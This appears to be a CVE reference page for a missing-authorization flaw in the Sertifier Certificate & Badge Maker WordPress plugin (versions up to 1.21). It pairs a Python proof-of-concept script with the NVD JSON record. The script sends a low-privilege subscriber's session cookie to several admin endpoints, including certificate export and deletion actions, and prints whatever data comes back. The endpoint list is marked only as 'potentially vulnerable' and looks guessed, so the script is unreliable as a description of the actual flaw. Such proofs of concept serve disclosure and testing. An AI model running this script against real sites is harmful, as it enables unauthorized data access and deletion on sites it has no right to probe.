CVE-2025-53214

import requests import sys # CVE-2025-53214 PoC - Missing Authorization in Sertifier WordPress Plugin # Target: WordPress site with Sertifier Certificate & Badge Maker plugin <= 1.21 target = "http://target-wordpress-site.com" # Authenticated user with subscriber role (low privilege) cookies = { 'wordpress_test_cookie': 'WP+Cookie+check', 'wordpress_logged_in_xxx': 'subscriber_user_cookie_value' # Replace with valid session } # List of potentially vulnerable endpoints vulnerable_endpoints = [ '/wp-admin/admin-ajax.php?action=sertifier_get_certificates', '/wp-admin/admin-ajax.php?action=sertifier_export_data', '/wp-admin/admin-ajax.php?action=sertifier_delete_certificate', '/wp-json/wp/v2/sertifier/certificates', '/wp-admin/admin.php?page=sertifier&action=export_all' ] print("[*] CVE-2025-53214 - Missing Authorization PoC") print(f"[*] Target: {target}") print("[*] Testing as low-privilege user (subscriber role)...\n") for endpoint in vulnerable_endpoints: url = target + endpoint try: response = requests.get(url, cookies=cookies, timeout=10) # Check if request succeeds without proper authorization if response.status_code == 200 and ('certificate' in response.text.lower() or 'export' in response.text.lower()): print(f"[+] VULNERABLE: {endpoint}") print(f"[+] Response length: {len(response.text)} bytes") print(f"[+] Sample data: {response.text[:200]}...\n") else: print(f"[-] Not vulnerable or protected: {endpoint}") except requests.RequestException as e: print(f"[!] Error testing {endpoint}: {e}") print("\n[*] PoC completed. If vulnerable endpoints found, access control is broken.") print("[*] Recommendation: Upgrade to Sertifier plugin > 1.21")

{"cve": {"id": "CVE-2025-53214", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:55.110", "lastModified": "2026-04-27T18:16:20.773", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in sertifier Sertifier Certificate & Badge Maker sertifier-certificates-open-badges allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sertifier Certificate & Badge Maker: from n/a through <= 1.21."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sertifier-certificates-open-badges/vulnerability/wordpress-sertifier-certificate-badge-maker-plugin-1-19-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}